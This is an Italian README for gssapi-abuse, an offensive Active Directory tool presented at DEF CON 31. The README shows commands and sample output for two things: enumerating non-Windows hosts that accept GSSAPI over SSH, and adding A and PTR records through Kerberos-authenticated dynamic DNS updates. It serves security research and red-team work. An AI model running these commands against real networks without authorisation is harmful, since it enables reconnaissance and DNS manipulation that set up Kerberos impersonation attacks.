
Uno strumento per enumerare potenziali host vulnerabili ad abusi GSSAPI all'interno di reti Active Directory
gssapi-abuse è stato rilasciato come parte del mio intervento al DEF CON 31. Un articolo completo sul vettore di abuso si trova qui: A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks
Lo strumento ha due funzionalità. La prima è la capacità di enumerare host non Windows che sono uniti ad Active Directory e offrono autenticazione GSSAPI su SSH.
La seconda funzionalità è la capacità di eseguire aggiornamenti DNS dinamici per host abusabili tramite GSSAPI che non hanno le corrette voci DNS forward e/o reverse. L'autenticazione basata su GSSAPI è rigorosa quando si tratta di far corrispondere i service principal, quindi le voci DNS dovrebbero corrispondere al nome del service principal sia per hostname che per indirizzo IP.
gssapi-abuse richiede uno stack krb5 funzionante insieme a un file krb5.conf correttamente configurato.
Sugli host Windows, il software MIT Kerberos deve essere installato oltre ai moduli Python elencati in requirements.txt; è ottenibile dalla MIT Kerberos Distribution Page. Il file krb5.conf di Windows si trova in C:\ProgramData\MIT\Kerberos5\krb5.conf
Il pacchetto libkrb5-dev deve essere installato prima di installare i requisiti Python
Una volta soddisfatti i requisiti, è possibile installare le dipendenze Python tramite pip/pip3
pip install -r requirements.txt
La modalità enumerazione si connette ad Active Directory ed esegue una ricerca LDAP per tutti i computer che non contengono la parola Windows nell'attributo Operating System.
Una volta ottenuto l'elenco delle macchine non Windows, gssapi-abuse tenta di connettersi a ciascun host tramite SSH e determina se l'autenticazione basata su GSSAPI è permessa.
python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] Trovate 2 macchine non Windows registrate in AD
[!] L'host ubuntu.ad.ginge.com non ha GSSAPI abilitato su SSH, ignorato
[+] L'host centos.ad.ginge.com ha GSSAPI abilitato su SSH
La modalità DNS utilizza Kerberos e dnspython per eseguire un aggiornamento DNS autenticato sulla porta 53 utilizzando il protocollo DNS-TSIG. Attualmente, la modalità dns si basa su una configurazione krb5 funzionante con un TGT valido o un ticket di servizio DNS che ha come target un controller di dominio specifico, ad esempio DNS/dc1.victim.local.
Aggiunta di un record DNS A per l'host ahost.ad.ginge.com
python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] Autenticazione riuscita al server DNS win-af8ki8e5414.ad.ginge.com
[=] Aggiunta del record A per il target ahost usando i dati 192.168.128.50
[+] Applicati 1 aggiornamenti con successo
Aggiunta di un record PTR inverso per l'host ahost.ad.ginge.com. Si noti che l'argomento data termina con un .; questo è importante altrimenti il record diventa relativo alla zona, cosa che non vogliamo. Dobbiamo anche specificare la zona di destinazione da aggiornare, poiché i record PTR sono memorizzati in zone diverse dai record A.
python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] Autenticazione riuscita al server DNS win-af8ki8e5414.ad.ginge.com
[=] Aggiunta del record PTR per il target 50 usando i dati ahost.ad.ginge.com.
[+] Applicati 1 aggiornamenti con successo
Risultati delle query DNS forward e reverse dopo l'esecuzione
nslookup ahost.ad.ginge.com
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50
nslookup 192.168.128.50
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50